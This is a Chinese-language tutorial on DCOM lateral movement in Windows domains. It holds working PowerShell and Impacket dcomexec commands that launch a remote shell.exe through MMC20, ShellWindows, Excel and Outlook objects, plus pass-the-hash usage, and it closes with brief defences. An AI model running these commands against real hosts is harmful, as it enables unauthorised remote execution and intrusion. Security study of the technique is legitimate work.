如何利用 DCOM 进行内网横向渗透
字数 1019 2025-08-05 08:18:04

利用DCOM进行内网横向渗透技术详解

一、COM与DCOM基础概念

1.1 COM组件对象模型

  • 定义:COM(Component Object Model)是基于Windows平台的组件对象接口标准
  • 特点
    • 由一组构造规范和组件对象库组成
    • 是许多微软产品和技术的基础(如Windows媒体播放器、Windows Server)
    • 组件对象通过接口(而非方法)描述自身,接口是一组函数指针表

1.2 DCOM分布式组件对象模型

  • 定义:DCOM是COM的扩展,支持不同机器上组件间的通信
  • 工作原理
    • 使用RPC(远程过程调用)技术扩展COM功能
    • 允许应用程序实例化和访问远程计算机上COM对象的属性和方法
  • 攻击利用价值
    • 远程执行的进程会托管在COM服务器端软件中(如explorer.exe)
    • 增强隐蔽性,难以全面监测

二、本地DCOM命令执行

2.1 获取DCOM程序列表

# PowerShell 3.0+ (Win Server 2012+)
Get-CimInstance Win32_DCOMApplication

# PowerShell 2.0 (Win7/Win Server 2008)
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_DCOMApplication

2.2 利用MMC20.Application执行命令

# 创建MMC20.Application实例
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "127.0.0.1"))

# 枚举方法和属性
$com.Document.ActiveView | Get-Member

# 执行命令(启动计算器)
$com.Document.ActiveView.ExecuteShellCommand('cmd.exe', $null, "/c calc.exe", "Minimized")

三、远程DCOM横向渗透

3.1 前提条件

  • 具有管理员权限的PowerShell
  • 可能需要关闭目标防火墙
  • 使用域管账户或目标主机管理员权限账户

3.2 利用MMC20.Application远程执行

# 建立IPC连接
net use \\192.168.52.138\ipc$ "Liu78963" /user:Administrator

# 创建远程实例并执行
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "192.168.52.138"))
$com.Document.ActiveView.ExecuteShellCommand('cmd.exe', $null, "/c C:\shell.exe", "Minimized")

# 单行命令
[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "192.168.52.138")).Document.ActiveView.ExecuteShellCommand('cmd.exe', $null, "/c C:\shell.exe", "Minimized")

3.3 利用ShellWindows远程执行

$com = [Activator]::CreateInstance([Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39', "192.168.52.138"))
$com.item().Document.Application.ShellExecute("cmd.exe", "/c C:\shell.exe", "c:\windows\system32", $null, 0)

# 单行命令
[Activator]::CreateInstance([Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39', "192.168.52.138")).item().Document.Application.ShellExecute("cmd.exe", "/c C:\shell.exe", "c:\windows\system32", $null, 0)

3.4 其他可利用的DCOM对象

Excel.Application

$com = [activator]::CreateInstance([type]::GetTypeFromprogID("Excel.Application", "192.168.52.138"))
$com.DisplayAlerts = $false
$com.DDEInitiate("cmd.exe", "/c C:\shell.exe")

ShellBrowserWindow (Win10/Win Server 2012 R2+)

[activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880", "192.168.52.138")).Document.Application.shellExecute("C:\shell.exe")

Visio.Application (需安装Visio)

[activator]::CreateInstance([type]::GetTypeFromProgID("Visio.Application", "192.168.52.138")).[0].Document.Application.shellExecute("C:\shell.exe")

Outlook.Application (需安装Outlook)

[activator]::CreateInstance([type]::GetTypeFromProgID("Outlook.Application", "192.168.52.138")).createObject("Shell.Application").shellExecute("C:\shell.exe")

四、Impacket工具利用

4.1 dcomexec.py使用

支持MMC20.Application、ShellWindows和ShellBrowserWindow对象

# 获取交互式shell
./dcomexec.py domain/username:password@ip

# 执行单条命令
./dcomexec.py domain/username:password@ip <command>

# 使用哈希认证
./dcomexec.py administrator:@192.168.52.143 whoami -hashes aad3b435b51404eeaad3b435b51404ee:d8f69f9520b448174136e49a1051ef07

4.2 通过代理执行

proxychains4 python3 ./dcomexec.py god/administrator:Liu78963@192.168.10.20

五、防御措施

  1. 启用域防火墙:默认会阻止DCOM对象实例化
  2. 加固防火墙配置:防止攻击者远程篡改或关闭防火墙
  3. 监控DCOM活动:特别关注异常进程创建行为
  4. 最小权限原则:限制管理员账户使用范围

六、技术特点总结

  1. 隐蔽性强:进程托管在合法系统进程中(如explorer.exe)
  2. 无需IPC连接:部分方法不需要事先建立IPC连接
  3. 广泛适用性:适用于Win7-Win10、Win Server 2008-2016
  4. 多样化利用:多种DCOM对象可利用,增加防御难度
利用DCOM进行内网横向渗透技术详解 一、COM与DCOM基础概念 1.1 COM组件对象模型 定义 :COM(Component Object Model)是基于Windows平台的组件对象接口标准 特点 : 由一组构造规范和组件对象库组成 是许多微软产品和技术的基础(如Windows媒体播放器、Windows Server) 组件对象通过接口(而非方法)描述自身,接口是一组函数指针表 1.2 DCOM分布式组件对象模型 定义 :DCOM是COM的扩展,支持不同机器上组件间的通信 工作原理 : 使用RPC(远程过程调用)技术扩展COM功能 允许应用程序实例化和访问远程计算机上COM对象的属性和方法 攻击利用价值 : 远程执行的进程会托管在COM服务器端软件中(如explorer.exe) 增强隐蔽性,难以全面监测 二、本地DCOM命令执行 2.1 获取DCOM程序列表 2.2 利用MMC20.Application执行命令 三、远程DCOM横向渗透 3.1 前提条件 具有管理员权限的PowerShell 可能需要关闭目标防火墙 使用域管账户或目标主机管理员权限账户 3.2 利用MMC20.Application远程执行 3.3 利用ShellWindows远程执行 3.4 其他可利用的DCOM对象 Excel.Application ShellBrowserWindow (Win10/Win Server 2012 R2+) Visio.Application (需安装Visio) Outlook.Application (需安装Outlook) 四、Impacket工具利用 4.1 dcomexec.py使用 支持MMC20.Application、ShellWindows和ShellBrowserWindow对象 4.2 通过代理执行 五、防御措施 启用域防火墙 :默认会阻止DCOM对象实例化 加固防火墙配置 :防止攻击者远程篡改或关闭防火墙 监控DCOM活动 :特别关注异常进程创建行为 最小权限原则 :限制管理员账户使用范围 六、技术特点总结 隐蔽性强 :进程托管在合法系统进程中(如explorer.exe) 无需IPC连接 :部分方法不需要事先建立IPC连接 广泛适用性 :适用于Win7-Win10、Win Server 2008-2016 多样化利用 :多种DCOM对象可利用,增加防御难度